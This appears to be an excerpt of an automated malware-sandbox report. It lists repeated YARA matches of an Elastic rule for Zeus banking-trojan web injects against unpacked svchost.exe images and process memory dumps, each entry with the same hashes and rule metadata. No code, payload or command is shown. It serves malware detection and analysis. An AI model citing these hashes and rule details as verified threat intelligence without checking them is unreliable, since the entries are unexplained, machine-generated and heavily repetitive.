    Source: 1.3.svchost.exe.2700000.41.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.57.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.88a000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.50.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.884000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.2.1fWgBXPgiT.exe.406400.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.71.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.90.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.87.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2203064620.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000015.00000002.2114738599.0000000000DE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000013.00000002.2105602842.00000000026D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2196074287.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2163418522.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2198762933.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000025.00000002.2230467830.0000000003230000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2142505110.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000005.00000002.2313341369.0000000000C10000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2202181854.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000017.00000002.2118494374.00000000011A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2203704922.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0000001F.00000002.2163047688.0000000002830000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2109272313.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2196660787.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2034042141.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2096064167.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2206387159.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000017.00000002.2118722454.0000000001200000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2066773815.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2118413346.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000013.00000002.2105209456.0000000002570000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2205694680.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0000001F.00000002.2163537694.0000000002990000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000019.00000002.2132519796.00000000028C0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2098616103.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.1673282588.0000000000884000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2203529589.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.1675428323.0000000002500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2199519637.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2194412887.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
